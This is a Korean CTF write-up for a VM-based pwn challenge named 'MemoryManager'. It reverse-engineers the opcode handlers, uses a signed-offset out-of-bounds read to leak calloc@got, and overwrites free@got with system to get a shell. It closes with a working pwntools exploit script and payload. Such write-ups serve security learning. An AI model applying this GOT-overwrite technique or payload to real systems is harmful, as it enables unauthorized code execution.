대회 끝나고 풀어본 문제다.
MemoryManager
opcode 입력받아서 실행시켜주는 vm 문제.
bss 영역에 있는 stack 변수는 0x4060D8
영역을 가리키고,
data 변수는 0x4060E0
영역을 가리키고있다.
입력 사이즈 제한은 0x1000
이다.
void __fastcall sub_401F46(__int64 a1)
{
__int64 v1; // [rsp+1Fh] [rbp-31h]
v1 = (unsigned __int8)get_opcode(a1);
if ( (unsigned __int8)v1 <= 8u )
__asm { jmp rax }
if ( (unsigned __int8)v1 <= 9u )
__asm { jmp rax }
exit(-1);
}
sub_0x401f46
에서 switch 문 두 개를 볼 수 있다.
get_opcode
함수에서는 ptr+a1→ip
에서 opcode 하나를 가져오고, a1→ip
를 증가시킨다.
a1 레지스터를 나타내고, 구조는 다음과 같다.
struct a1 {
__int64 RAX;
__int64 RBX;
__int64 RCX;
__int64 RDX;
__int64 RSI;
__int64 RDI;
__int64 RBP;
__int64 RSP;
__int64 ???1;
__int64 ???2;
__int64 RIP;
}
첫 번째 switch
opcode == 1,2,8
ptr+IP
에서 WORD 로 참조해 값 하나를 가져오고 IP
를 2 증가시킨다.
근데 리턴값에서 1바이트만 rbp-0xb
에 저장한다.
opcode == 0,3
위와 똑같이 값을 가져오고,
rbp-0xb
, rbp-0xa
에 1바이트씩 저장한다.
opcode == 4,5,6,7
마찬가지로 값을 3번 가져와서
rbp-0xb
, rbp-0xa
, rbp-0x9
에 1바이트씩 저장하고,
rbp-0xa
값을 인자로 sub_4015F5()
함수 호출한 뒤, 리턴값을 rbp-0x30
에 저장 (8byte)
이후 rbp-0x9
값을 인자로 sub_4015F5()
함수 호출하고, 리턴값을 rbp-0x28
에 저장 (8byte)
sub_4015F5
인자로 받은 값에 따라 분기한다.
0xF0 과 and 연산한 값에 따라 분기한다.
0x10 :
rsp!=rbp
이면 stack+rsp
에서 8바이트 가져와 리턴값으로 설정하고 rsp 8 증가.
→ 사실상 스택에서 oob read 하는건 불가능해보임
0x20 :
하위 4비트에 따라 ptr 에서 1,2,4,8 바이트를 가져와 v7 에 저장한다.
그리고 ptr 에서 1바이트 가져와 v5 에 저장한 뒤,
data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.
→ 이 때 v7 이 signed 이므로, 0x4060E0
에서 calloc@got 의 주소 (0x405040
) 까지 거리만큼 빼서 callog@got 주소를 리턴할 수 있다.
0x30 :
하위 4비트가 5 이하일 때,
*(&a1->rax+(a2&0xF))
값을 리턴. ( 원하는 레지스터 값 )
0x40 :
하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 만큼 가져와 리턴한다.
두 번째 switch
opcode == 0
sub_4013EB((struct_a1*)a1, [rbp-0xb], sub_4015F5((struct_a1)*a1,[rbp-0xa]))
sub_4013EB
마찬가지로 두 번째 인자와 0xF0 을 and 연산 한 값으로 분기
0x10 :
rsp 가 7 이하가 아니라면, rsp 를 8 감소시킨 후
stack+rsp 가 가리키는 곳에 a3 값 저장 (sub_4015F5 의 리턴값)
→ stack 범위 검사해서 oob 불가능할 듯.
0x20 :
하위 4비트에 따라 ptr 에서 1,2,4,8 바이트 가져와 v7 에 저장.
v7 은 unsigned __int64
자료형으로, 0x1000-8 보다 크면 exit
ptr 에서 1바이트 가져와 v6 에 저장하고,
data+v7 에서 v5 에 따라 1,2,4,8 바이트 만큼 가져와 리턴.
→ unsigned
로 범위검사해서 oob 불가능할 듯.
0x30 :
하위 4비트가 5 이하면,
*(&a1->rax+(a2&0xF)) = a3
원하는 레지스터 값을 a3 으로 덮을 수 있다. (rbp, rsp, rip 제외)
opcode == 3
4050AC
는 초기값이 -1 인 변수인데,
sub_4015F5()
함수를 분석할 떄 생략했는데,
a2 == 0x20 일 때 4050AC
가 0이 아니라면,
qword_4050D0[dword_4050AC] = v7;
qword_4050C0[dword_4050AC] = v5;
위 두 코드가 실행된다.
v7 은 data 에 더하는 변수였고, v5 는 몇바이트 가져올지 결정하는 1바이트였다.
다시 돌아와서 설명을 계속해보면,
4050AC = 0
[rbp-0x30] = sub_4015F5((struct_a1*)a1, [rbp-0xb])
4050AC = 1
[rbp-0x28] = sub_4015F5((struct_a1*)a1, [rbp-0xa])
sub_401909((struct_a1*)a1, [rbp-0xb], [rbp-0xa], [rbp-0x30], [rbp-0x28])
위와 같은 flow 로 진행이 된다.
sub_401909
v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]
이렇게 값을 넣고, 반복문이 i=0 부터 i=1 까지 두 번 실행된다.
v8[i]&0xf0 에 따라 switch-case 문이 실행된다.
0x10
:
rsp 가 8 이하면 종료, 아니면 8 감소시킨 뒤, stack+rsp 에 v9[i^1] 저장.
0x20
:
v7 에 qword_4050D0[i]
저장.
v8[i^1] &0xF0 == 0x20 이면, qword_4050C0[i^1]
의 하위 4바이트에 따라
data+v7 이 가리키는 주소에 v9[i^1] 을 1,2,4,8 바이트 만큼 저장.
0x20 이 아니면 8바이트만큼 저장.
0x30
:
v8[i] 가 5 이하라면,
원하는 레지스터 값에 v9[i^1] 저장.
opcode == 4,5,6,7
저장된 두 변수를 사칙연산으로 처리한 다음 sub_4013EB()
함수 호출.
→ 5
는 [rbp-0x30] 에서 [rbp-0x28] 을 뺀 뒤 sub_4013EB
함수를 호출하는데,
calloc 을 rax 에 저장하고, 빼서 system 함수 주소로 만들 떄 사용할거다.
opcode == 8
rbp-0xb
를 인자로 sub_401C16()
함수 호출
두 번째 인자와 0xF0 을 and 연산 한 값으로 분기
0x10 :
rsp, rbp, stack+rsp 값 출력 (8byte)
0x20 :
1,2,3,4 번째 비트가 설정되면 각각
ptr 에서 1,2,4,8 바이트를 가져와서 data+리턴값
을 1,2,48 바이트 출력해준다.
(ip 도 1,2,4,8 증가)
0x30 :
모든 레지스터 값을 출력해줌.
exploit
- opcode 0 → calloc@got 주소를 rax 에 저장
- opcode 5 → calloc 주소에서 system 함수 까지 거리를 빼서 rax 에 저장.
- opcode 3 → overwrite free@got → system
- opcode 9 → 리턴. main 함수에서 free 하는데, 이름을 /bin/sh 로 설정해 놨으면
system("/bin/sh")
가 실행되어 쉘이 따인다.
3번에 대해서 조금 더 설명을 하자면,
switch( v8[i]&0xf0 )
~~~
case 0x20:
v7 = qword_4050D0[i];
if ( (v8[i ^ 1] & 0xF0) == 0x20 )
{
switch ( qword_4050C0[i ^ 1] )
{
case 1LL:
*(_BYTE *)(data + v7) = v9[i ^ 1];
break;
case 2LL:
*(_WORD *)(data + v7) = v9[i ^ 1];
break;
case 4LL:
*(_DWORD *)(data + v7) = v9[i ^ 1];
break;
case 8LL:
*(_QWORD *)(v7 + data) = v9[i ^ 1];
break;
}
}
else
{
*(_QWORD *)(v7 + data) = v9[i ^ 1];
}
sub_401909
에서 free@got 을 덮을 수 있는 부분이다.
"""
v8[0] = [rbp-0xb]
v8[1] = [rbp-0xa]
v9[0] = [rbp-0x30]
v9[1] = [rbp-0x28]
"""
v8[0]&0xF0 == 0x20
v8[1]&0xF0 == 0x20 && qword_4050C0[1] === 8
or v8[1] !=0x20
qword_4050D0[0] == "offset until free@got"
v9[1] == "system address"
위 조건대로 값을 채워넣어야 덮을 수 있다.
v8[0] 에 0x28 을 넣어서, qword_4050D0
에 free@got 까지 거리를 넣고
v8[1] 에 0x30 을 넣어 v9[1] 에 rax 에서 불러온 system 함수의 주소를 넣으면 된다.
다음 반복문이 실행됬을 땐,
v8[1] == 0x30 이므로 rax 에 v9[0] (free@got) 이 들어가는데, 별로 상관없당
페이로드로 구현하면 다음과 같다.
opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)
ex.py
from pwn import *
r=process("./MemoryManager")
context.log_level='debug'
b=ELF("./MemoryManager")
lib=b.libc
r.sendlineafter('> ', '/bin/sh\x00')
system_offset=3920496
opcode=p8(0)+p16(0x30)+p16(0x28)+p64(0xffffffffffffef60)+p8(0x8)
opcode+=p8(5)+p16(0x30)+p16(0x30)+p16(0x48)+p64(0x4ac20)
opcode+=p8(3)+p16(0x28)+p16(0x30)+p64(0xffffffffffffef38)+p8(0x8)
opcode+=p8(9)
# 4050d0[0] = offset of free@got
# 4050c0[0] = 0x8
# v8[0] = 0x28
# v8[1] = 0x30
# v9[0] = free@got
# v9[1] = system address
pause()
r.sendlineafter('> ', opcode)
r.interactive()